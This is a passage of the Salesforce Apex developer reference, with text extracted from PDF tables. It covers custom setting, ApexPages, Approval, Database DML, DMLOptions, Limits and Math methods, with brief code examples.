Description Returns the lowest level custom setting record based on the running user. For example, if you have data defined for the user Uriel Jones, for the profile System Administrator, and for the organization as a whole, and the user running the code is Uriel Jones, this method returns the data set defined for Uriel Jones. If the running user was Barbara Mahonie, who also shared the System Administrator profile, but no data was defined at for Barbara as a user, this method returns the data set defined at the profile level. Returns the custom setting data set for the specified User_Id. Use this when you want to explicitly retrieve data for the custom setting at the user level. Returns the custom setting data set for the specified Profile_Id. Use this when you want to explicitly retrieve data for the custom setting at the profile level. Returns the custom setting data set for the organization. Returns the custom setting data set for the specified User_Id. Use this if you only want the subset of custom setting data that has been defined at the user level. For example, suppose you have a custom setting field that has been assigned a value of "foo" at the organizational level, but has no value assigned at the user or profile level. Using getValues(User_Id) returns NULL for this custom setting field. Returns the custom setting data set for the specified Profile_Id. Use this if you only want the subset of custom setting data that has been defined at the profile level. For example, suppose you have a custom setting field that has been assigned a value of "foo" at the

getInstance

ID User_Id

CustomSetting__c

getInstance

ID Profile_Id

CustomSetting__c

getOrgDefaults getValues

CustomSetting__c ID User_Id CustomSetting__c

getValues

ID Profile_Id

CustomSetting__c

252

Reference

System Methods

Name

Arguments

Return Type

Description organizational level, but has no value assigned at the user or profile level. Using getValues(Profile_Id) returns NULL for this custom setting field..

For more information on custom settings, see Custom Settings Overview in the Salesforce.com online help. Custom Setting Examples The following example uses a list custom setting called Games. Games has a field called GameType. This example determines if the value of the first data set is equal to the string PC.
List<Games__C> mcs = Games__c.getall().values(); boolean textField = null; if (mcs[0].GameType__c == 'PC'){ textField = true; } system.assertEquals(textField, true);

In the following example, the hierarchy custom setting GamesSupport has a field called Corporate_number. The code returns the value for the profile specified with pid.
GamesSupport__c mhc = GamesSupport__c.getInstance(pid); string mPhone = mhc.Corporate_number__c;

System Methods
Apex System Methods
The following Apex system methods are specialized classes and methods for manipulating data: ApexPages Approval Database Database Batch Database DMLOptions Database EmptyRecycleBinResult Database Error

Limits Math Package Search System Test

253

Reference

Apex System Methods

ApexPages Methods Use ApexPages to add and check for messages associated with the current page, as well as to reference the current page. In addition, ApexPages is used as a namespace for the PageReference and Message classes. The following table lists the ApexPages methods: Name
addMessage

Arguments sObject
ApexPages.Message

Return Type Void

Description Add a message to the current page context. For more information on messages, see Message Class on page 312. Adds a list of messages to the current page context based on a thrown exception. For more information on messages, see Message Class on page 312

addMessages

Exception ex

Void

getMessages

ApexPages.Message[] Returns a list of the messages associated with the current context. For more information on messages, see Message Class on page 312. Boolean Returns true if there are messages associated with the current context, false otherwise. For more information on messages, see Message Class on page 312. Returns true if messages of the specified severity exist, false otherwise. For more information on messages, see Message Class on page 312.

hasMessages

hasMessages

ApexPages.Severity

Boolean

Approval Methods The following table lists the static Approval methods. Approval is also used as a namespace for the ProcessRequest and ProcessResult classes. Name
process

Arguments

Return Type

Description

Approval.ProcessRequest Approval.ProcessResult Submits a new approval request and approves or rejects ProcessRequest existing approval requests. For example:
// Insert an account Account a = new Account(Name='Test', annualRevenue=100.0); insert a; // Create an approval request for the account Approval.ProcessSubmitRequest req1 = new Approval.ProcessSubmitRequest(); req1.setObjectId(a.id); // Submit the approval request for the account Approval.ProcessResult result =

254

Reference

Apex System Methods

Name

Arguments

Return Type

Description
Approval.process(req1);

For more information on Apex approval processing, see Apex Approval Processing Classes on page 340.
process

Approval.ProcessRequest Approval.ProcessResult Submits a new approval request and approves or rejects ProcessRequests existing approval requests. Boolean
opt_allOrNone

The optional opt_allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed. For more information on Apex approval processing, see Apex Approval Processing Classes on page 340.

process

Approval.ProcessRequest Approval.ProcessResult Submits a list of new approval requests, and approves or [] [] rejects existing approval requests.
ProcessRequests

For more information on Apex approval processing, see Apex Approval Processing Classes on page 340.

process

Approval.ProcessRequest Approval.ProcessResult Submits a list of new approval requests, and approves or [] [] rejects existing approval requests.
ProcessRequests

Boolean
opt_allOrNone

The optional opt_allOrNone parameter specifies whether the operation allows for partial success. If you specify false for this parameter and an approval fails, the remainder of the approval processes can still succeed. For more information on Apex approval processing, see Apex Approval Processing Classes on page 340.

Database Methods The following are the system static methods for Database. Name
convertLead

Arguments LeadConvert
leadToConvert,

Return Type

Description

Database. Converts a lead into an account and contact, as well LeadConvertResult as (optionally) an opportunity The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

Boolean opt_allOrNone

255

Reference

Apex System Methods

Name
convertLead

Arguments LeadConvert[]
leadsToConvert

Return Type Database. LeadConvert Result[]

Description Converts a list of LeadConvert objects into accounts and contacts, as well as (optionally) opportunties. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

Boolean opt_allOrNone

countQuery

String query

Integer

Returns the number of records that a dynamic SOQL query would return when executed. For example,
String QueryString = 'SELECT count() FROM Account'; Integer I = Database.countQuery(QueryString);

For more information, see Dynamic SOQL on page 139.

delete

SObject recordToDelete Boolean opt_allOrNone

DeleteResult

Deletes an existing sObject record, such as an individual account or contact, from your organization's data. delete is analogous to the delete() statement in the Force.com Web Services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

delete

SObject[] recordsToDelete DeleteResult[] Boolean opt_allOrNone

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data. delete is analogous to the delete() statement in the Force.com Web Services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still

256

Reference

Apex System Methods

Name

Arguments

Return Type

Description succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

delete

RecordID ID Boolean opt_allOrNone

DeleteResult

Deletes existing sObject records, such as individual accounts or contacts, from your organizations data. delete is analogous to the delete() statement in the Force.com Web Services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

delete

RecordIDs []IDs Boolean opt_allOrNone

DeleteResult[]

Deletes a list of existing sObject records, such as individual accounts or contacts, from your organizations data. delete is analogous to the delete() statement in the Force.com Web Services API. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

emptyRecycleBin RecordIds []Ids

Database. Permanently deletes the specified records from the EmptyRecycleBin recycle bin. Note the following: Result[] After records are deleted using this method they cannot be undeleted. Only 200 records can be specified for deletion. The logged in user can delete any record that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has Modify All Data permission, he or she can query and delete records from any recycle bin in the organization.

257

Reference

Apex System Methods

Name

Arguments

Return Type

Description Cascade delete record IDs should not be included in the list of IDs; otherwise an error occurs. For example, if an account record is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include the Id of the top level account. All related records are automatically removed. Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits.

emptyRecycleBin sObject sObject

Database. Permanently deletes the specified sObject from the EmptyRecycleBin recycle bin. Note the following: Result After an sObject is deleted using this method it cannot be undeleted. Only 200 sObjects can be specified for deletion. The logged in user can delete any sObject that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has Modify All Data permission, he or she can query and delete sObjects from any recycle bin in the organization. Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs. For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top level account. All related sObjects are automatically removed. Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits. Permanently deletes the specified sObjects from EmptyRecycleBin the recycle bin. Note the following: Result[] After an sObject is deleted using this method it cannot be undeleted. Only 200 sObjects can be specified for deletion. The logged in user can delete any sObject that he or she can query in their recycle bin, or the recycle bins of any subordinates. If the logged in user has Modify All Data permission, he or she can query and delete sObjects from any recycle bin in the organization. Do not include an sObject that was deleted due to a cascade delete; otherwise an error occurs.

emptyRecycleBin sObjects []listOfSObjects Database.

258

Reference

Apex System Methods

Name

Arguments

Return Type

Description For example, if an account is deleted, all related contacts, opportunities, contracts, and so on are also deleted. Only include sObjects of the top level account. All related sObjects are automatically removed. Deleted items are added to the number of items processed by a DML statement, and the method call is added to the total number of DML statements issued. The emptyRecycleBin method uses the DML governor limits.

executeBatch

sObject className

ID

Executes the specified class as a batch Apex job. For more information, see Using Batch Apex on page 143. Executes the specified class as a batch Apex job. The value for scope must be less than 200. For more information, see Using Batch Apex on page 143. Creates a QueryLocator object used in batch Apex or Visualforce. For more information, see Database Batch Apex Objects and Methods on page 264, Understanding Apex Managed Sharing on page 150, and StandardSetController Class on page 321. Creates a QueryLocator object used in batch Apex or Visualforce. For more information, see Database Batch Apex Objects and Methods on page 264, Understanding Apex Managed Sharing on page 150, and StandardSetController Class on page 321. Adds an sObject, such as an individual account or contact, to your organization's data. insert is analogous to the INSERT statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

executeBatch

sObject className, Integer ID

scope

getQueryLocator sObject [] listOfQueries

QueryLocator

getQueryLocator String query

QueryLocator

insert

sObject recordToInsert Boolean opt_allOrNone | database.DMLOptions

opt_DMLOptions

SaveResult

259

Reference

Apex System Methods

Name

Arguments

Return Type

Description For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

insert

sObject [] recordsToInsert SaveResult[] Boolean opt_allOrNone | database.DMLOptions

opt_DMLOptions

Adds one or more sObjects, such as individual accounts or contacts, to your organizations data. insert is analogous to the INSERT statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

query

String query

sObject[]

Creates a dynamic SOQL query at runtime. This method can be used wherever a static SOQL query can be used, such as in regular assignment statements and for loops. For more information, see Dynamic SOQL on page 139.

rollback

System.Savepoint sp

Void

Restores the database to the state specified by the savepoint variable. Any emails submitted since the last savepoint are also rolled back and not sent. You can only restore the database using rollback 20 times in all contexts, that is, in triggers, anonymous blocks, WSDL methods or unit tests. You will receive a runtime error if you try to rollback the database additional times.

setSavepoint

System.Savepoint

Returns a savepoint variable that can be stored as a local variable, then used with the rollback method to restore the database to that point. If you set more than one savepoint, then roll back to a savepoint that is not the last savepoint you generated, the later savepoint variables become invalid. For example, if you generated savepoint

260

Reference

Apex System Methods

Name

Arguments

Return Type

Description
SP1 first, savepoint SP2 after that, and then you rolled back to SP1, the variable SP2 would no

longer be valid. You will receive a runtime error if you try to use it. References to savepoints cannot cross trigger invocations, because each trigger invocation is a new execution context. If you declare a savepoint as a static variable then try to use it across trigger contexts you will receive a runtime error. You can only set five savepoints in all contexts, that is, in triggers, anonymous blocks, WSDL methods or unit tests. You will receive a runtime error if you try to set additional savepoints.
undelete

sObject recordToUndelete UndeleteResult Boolean opt_allOrNone

Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin. undelete is analogous to the UNDELETE statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

undelete

sObject []
recordsToUndelete

UndeleteResult[]

Boolean opt_allOrNone

Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin. undelete is analogous to the UNDELETE statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

undelete

RecordID ID Boolean opt_allOrNone

UndeleteResult

Restores an existing sObject record, such as an individual account or contact, from your organization's Recycle Bin. undelete is analogous to the UNDELETE statement in SQL.

261

Reference

Apex System Methods

Name

Arguments

Return Type

Description The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

undelete

RecordIDs[] ID Boolean opt_allOrNone

UndeleteResult []

Restores one or more existing sObject records, such as individual accounts or contacts, from your organizations Recycle Bin. undelete is analogous to the UNDELETE statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

update

sObject recordToUpdate Boolean opt_allOrNone | database.DMLOptions

opt_DMLOptions

Database.SaveResult Modifies an existing sObject record, such as an individual account or contact, in your organization's data. update is analogous to the UPDATE statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

262

Reference

Apex System Methods

Name
update

Arguments

Return Type

Description Modifies one or more existing sObject records, such as individual accounts or contacts, in your organizations data. update is analogous to the UPDATE statement in SQL. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information or truncation behavior. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

sObject [] recordsToUpdate Database.SaveResult [] Boolean opt_allOrNone | database.DMLOptions

opt_DMLOptions

upsert

sObject recordToUpsert Schema.SObjectField

External_ID_Field

Database.UpsertResult Creates a new sObject record or updates an existing sObject record within a single statement, using an optional custom field to determine the presence of existing objects. The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

Boolean opt_allOrNone

263

Reference

Apex System Methods

Name
upsert

Arguments

Return Type

Description

sObject [] recordsToUpsert Database.UpsertResult Cusing an optional custom field to determine the [] presence of existing objects. Schema.SObjectField External_ID_Field The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find Boolean opt_allOrNone the token for the field by using the fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that can be used to verify which records succeeded, which failed, and why. Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field. For additional information on the database DML operations, see Apex Data Manipulation Language (DML) Operations on page 189.

Database Batch Apex Objects and Methods Database.QueryLocator Method The following table lists the method for the Database.QueryLocator object: Name
getQuery

Arguments

Return Type String

Description Returns the query used to instantiate the Database.QueryLocator object. This is useful when testing the start method. For example:
System.assertEquals(QLReturnedFromStart. getQuery(), Database.getQueryLocator([SELECT Id FROM Account]).getQuery() );

You cannot use the FOR UPDATE keywords with a getQueryLocator query to lock a set of records. The start method automatically locks the set of records in the batch.

Database DMLOptions Methods Use the database.DMLOptions object to provide extra information during a transaction, for example, specifying the truncation behavior of fields or assignment rule information. DMLOptions is only available for Apex scripts saved against API versions 15.0 and higher.

264

Reference

Apex System Methods

The Database.DMLOptions object has the following methods:

allowFieldTruncation Method assignmentRuleHeader Method emailHeader Method localeOptions Method

allowFieldTruncation Method

The allowFieldTruncation method specifies the truncation behavior of strings. In Apex scripts saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation method allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex scripts saved against API versions 15.0 and later. The allowFieldTruncation method takes a Boolean value. If true, the method truncates String values that are too long, which is the behavior in API versions 14.0 and earlier. For example:
Database.DMLOptions dml = new Database.DMLOptions(); dml.allowFieldTruncation = true;

assignmentRuleHeader Method

The assignmentRuleHeader method specifies the assignment rule to be used when creating an account, case, or lead. Note: The database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management. The following are the options that can be set with the assignmentRuleHeader: Name
assignmentRuleID

Type ID

Description Specify the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive. The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule. If the value is not in correct ID format (15-character or 18-character Salesforce.com ID), the call fails and an exception is returned.

useDefaultRule

Boolean

If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an assignmentRuleId.

The following example uses the useDefaultRule option:

Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.useDefaultRule= true; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo);

265

Reference

Apex System Methods

insert l;

The following example uses the assignmentRuleID option:

Database.DMLOptions dmo = new Database.DMLOptions(); dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn'; Lead l = new Lead(company='ABC', lastname='Smith'); l.setOptions(dmo); insert l;

emailHeader Method

The Salesforce.com user interface allows you to specify whether or not to send an email when the following events occur: Creation of a new case or task Creation of a case comment Conversion of a case email to a contact New user email notification Password reset

In Apex scripts saved against API version 15.0 or later, the Database.DMLOptions emailHeader method enables you to specify additional information regarding the email that gets sent when one of the events occurs because of the script's execution. The following are the options that can be set with the emailHeader method: Name
triggerAutoResponseEmail

Type Boolean

Description Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases. In the Salesforce.com user interface, this email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail. Indicates whether to trigger email outside the organization (true) or not (false). In the Salesforce.com user interface, this email can be automatically triggered by creating, editing, or deleting a contact for a case. Indicates whether to trigger email that is sent to users in the organization (true) or not (false). In the Salesforce.com user interface, this email can be automatically triggered by a number of events; resetting a password, creating a new user, adding comments to a case, or creating or modifying a task.

triggerOtherEmail

Boolean

triggerUserEmail

Boolean

In the following example, the triggerAutoResponseEmail option is specified:

Account a = new Account(name='Acme Plumbing'); insert a; Contact c = new Contact(email='[email protected]', firstname='Joe',lastname='Plumber', accountid=a.id); insert c; Database.DMLOptions dlo = new Database.DMLOptions();

266

Reference

Apex System Methods

dlo.EmailHeader.triggerAutoResponseEmail = true; Case ca = new Case(subject='Plumbing Problems', contactid=c.id); database.insert(ca, dlo);

Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex: Sending a group event invitation to a user respects the triggerUserEmail option Sending a group event invitation to a lead or contact respects the triggerOtherEmail option Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

localeOptions Method

The localeOptions method specifies the language of any labels that are returned by an Apex script. The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US', and the string for French Canadian is 'fr_CA.' For a list of the languages that Salesforce.com supports, see What languages does Salesforce.com support? in the Salesforce.com online help. Database EmptyRecycleBinResult Methods A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each object in the list corresponds to either a record Id or an sObject passed as the parameter in the Database.emptyRecycleBin method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the second, and so on. The following are all instance methods, that is, they work on a specific instance of an EmptyRecyclelBinResult object. None of these methods take any arguments. Name
getErrors

Return Type Database.Errors []

Description If an error occurred during the delete for this record or sObject, a list of one or more Database.Error objects is returned. If no errors occurred, this list is empty. Returns the ID of the record or sObject you attempted to deleted. Returns true if the record or sObject was successfully removed from the recycle bin; otherwise false.

getId isSuccess

ID Boolean

Database Error Object Methods A Database.error object contains information about an error that occurred, during a DML operation or other operation. All DML operations that are executed with their database system method form return an error object if they fail. All error objects have access to the following methods: Name getMessage Arguments Return Type String Description Returns the error message text.

267

Reference

Apex System Methods

Name getStatusCode

Arguments

Return Type StatusCode

Description Returns a code that characterizes the error. The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce.com WSDLs and Client Authentication Certificates in the Salesforce.com online help.

Limits Methods Because Apex runs in a multitenant environment, the Apex runtime engine strictly enforces a number of limits to ensure that runaway scripts do not monopolize shared resources. The Limits methods return the specific limit for the context in which they are being executed, that is, from a trigger, a Web service method, and so on. None of the Limits methods require an argument. The format of the limits methods is as follows:
myDMLLimit = Limits.getDMLStatements();

There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while the second version contains the word limit and returns the total amount of the resource that is available for that context. See Understanding Execution Governors and Limits on page 166. Name
getAggregateQueries

Return Type Integer

Description Returns the number of aggregate queries that have been processed with any SOQL query statement in the current context. Returns the total number of aggregate queries that can be processed with SOQL query statements in the current context. Returns the number of Web service statements that have been processed in the current context. Returns the total number of Web service statements that can be processed in the current context. Returns the number of child relationship objects that have been returned in the current context. Returns the total number of child relationship objects that can be returned in the current context. Returns the number of records that have been processed with any DML statement (insertions, deletions) or the database.EmptyRecycleBin method in the current context. Returns the total number of records that can be processed with any DML statement or the database.EmptyRecycleBin method in the current context.

getLimitAggregateQueries getCallouts getLimitCallouts getChildRelationshipsDescribes

Integer Integer Integer Integer

getLimitChildRelationshipsDescribes Integer getDMLRows

Integer

getLimitDMLRows

Integer

268

Reference

Apex System Methods

Name
getDMLStatements

Return Type Integer

Description Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have been called in the current context. Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called in the current context. Returns the number of email invocations (such as sendEmail) that have been called in the current context. Returns the total number of email invocation (such as sendEmail) that can be called in the current context. Returns the number of field describe calls that have been made in the current context. Returns the total number of field describe calls that can be made in the current context. Returns the number of findSimilar methods that have been executed in the current context. Returns the total number of findSimilar methods that can be executed in the current context. Returns the number of methods with the future annotation that have been executed (not necessarily completed) in the current context. Returns the total number of methods with the future annotation that can be executed (not necessarily completed) in the current context. Returns the approximate amount of memory (in bytes) that has been used for the heap in the current context. Returns the total amount of memory (in bytes) that can be used for the heap in the current context. Returns the number of SOQL queries that have been issued in the current context. Returns the total number of SOQL queries that can be issued in the current context. Returns the number of PicklistEntry objects that have been returned in the current context. Returns the total number of PicklistEntry objects that can be returned in the current context. Returns the number of records that have been returned by the Database.getQueryLocator method in the current context.

getLimitDMLStatements

Integer

getEmailInvocations getLimitEmailInvocations getFieldsDescribes getLimitFieldsDescribes getFindSimilarCalls getLimitFindSimilarCalls getFutureCalls

Integer Integer Integer Integer Integer Integer Integer

getLimitFutureCalls

Integer

getHeapSize getLimitHeapSize getQueries getLimitQueries getPicklistDescribes getLimitPicklistDescribes getQueryLocatorRows

Integer Integer Integer Integer Integer Integer Integer

269

Reference

Apex System Methods

Name
getLimitQueryLocatorRows

Return Type Integer

Description Returns the total number of records that have been returned by the Database.getQueryLocator method in the current context. Returns the number of records that have been returned by issuing SOQL queries in the current context. Returns the total number of records that can be returned by issuing SOQL queries in the current context. Returns the number of RecordTypeInfo objects that have been returned in the current context. Returns the total number of RecordTypeInfo objects that can be returned in the current context. Returns the total number of runAs methods that have been executed in the current context. Returns the total number of runAs methods that can execute in the current context. Returns the number of rollback statements that have been issued in the current context. Returns the total number of rollback statements that can be returned in the current context. Returns the number of Savepoint statements that have been issued in the current context. Returns the total number of Savepoint statements that can be issued in the current context. Returns the number of statements that have executed in the current context. Returns the total number of statements that can execute in the current context. Returns the number of SOSL queries that have been issued in the current context. Returns the total number of SOSL queries that can be issued in the current context.

getQueryRows getLimitQueryRows getRecordTypesDescribes getLimitRecordTypesDescribes getRunAs getLimitRunAs getSavepointRollbacks getLimitSavepointRollbacks getSavepoints getLimitSavepoints getScriptStatements getLimitScriptStatements getSoslQueries getLimitSoslQueries

Integer Integer Integer Integer Integer Integer Integer Integer Integer Integer Integer Integer Integer Integer

Math Methods The following are the system static methods for Math. Name
abs abs

Arguments Decimal d Double d

Return Type Decimal Double

Description Returns the absolute value of the specified Decimal Returns the absolute value of the specified Double

270

Reference

Apex System Methods

Name
abs

Arguments Integer i

Return Type Integer

Description Returns the absolute value of the specified Integer. For example:
Integer I = -42; Integer I2 = math.abs(I); system.assertEquals(I2, 42);

abs acos acos asin asin atan atan atan2

Long l Decimal d Double d Decimal d Double d Decimal d Double d Decimal x Decimal y

Long Decimal Double Decimal Double Decimal Double Decimal

Returns the absolute value of the specified Long Returns the arc cosine of an angle, in the range of 0.0 through pi Returns the arc cosine of an angle, in the range of 0.0 through pi Returns the arc sine of an angle, in the range of -pi/2 through pi/2 Returns the arc sine of an angle, in the range of -pi/2 through pi/2 Returns the arc tangent of an angle, in the range of -pi/2 through pi/2 Returns the arc tangent of an angle, in the range of -pi/2 through pi/2 Converts rectangular coordinates (x and y) to polar (r and theta). This method computes the phase theta by computing an arc tangent of x/y in the range of -pi to pi Converts rectangular coordinates (x and y) to polar (r and theta). This method computes the phase theta by computing an arc tangent of x/y in the range of -pi to pi Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude. Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude. Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer Returns the trigonometric cosine of the angle specified by d Returns the trigonometric cosine of the angle specified by d

atan2

Double x Double y

Double

cbrt

Decimal d

Decimal

cbrt

Double d

Double

ceil

Decimal d

Decimal

ceil

Double d

Double

cos cos

Decimal d Double d

Decimal Double

271

Reference

Apex System Methods

Name
cosh

Arguments Decimal d

Return Type Decimal

Description Returns the hyperbolic cosine of d.The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number. Returns the hyperbolic cosine of d.The hyperbolic cosine of d is defined to be (ex + e-x)/2 where e is Euler's number. Returns Euler's number e raised to the power of the specified Decimal Returns Euler's number e raised to the power of the specified Double Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer Returns the natural logarithm (base e) of the specified Decimal Returns the natural logarithm (base e) of the specified Double Returns the logarithm (base 10) of the specified Decimal Returns the logarithm (base 10) of the specified Double Returns the larger of the two specified Decimals. For example:
Decimal larger = math.max(12.3, 156.6); system.assertEquals(larger, 156.6);

cosh

Double d

Double

exp exp floor

Decimal d Double d Decimal d

Decimal Double Decimal

floor

Double d

Double

log log log10 log10 max

Decimal d Double d Decimal d Double d Decimal d1 Decimal d2

Decimal Double Decimal Double Decimal

max

Double d1 Double d2

Double

Returns the larger of the two specified Doubles

max

Integer i1 Integer i2

Integer

Returns the larger of the two specified Integers

max

Long l1 Long l2

Long

Returns the larger of the two specified Longs

min

Decimal d1 Decimal d2

Decimal

Returns the smaller of the two specified Decimals. For example:

Decimal smaller = math.min(12.3, 156.6); system.assertEquals(smaller, 12.3);

min

Double d1 Double d2

Double

Returns the smaller of the two specified Doubles

272

Reference

Apex System Methods

Name
min

Arguments Integer i1 Integer i2

Return Type Integer

Description Returns the smaller of the two specified Integers

min

Long l1 Long l2

Long

Returns the smaller of the two specified Longs

mod

Integer i1 Integer i2

Integer

Returns the remainder of i1 divided by i2. For example:

Integer remainder = math.mod(12, 2); system.assertEquals(remainder, 0); Integer remainder2 = math.mod(8, 3); system.assertEquals(remainder2, 2);

mod

Long L1 Long L2

Long

Returns the remainder of L1 divided by L2

pow

Double d Double exp

Double

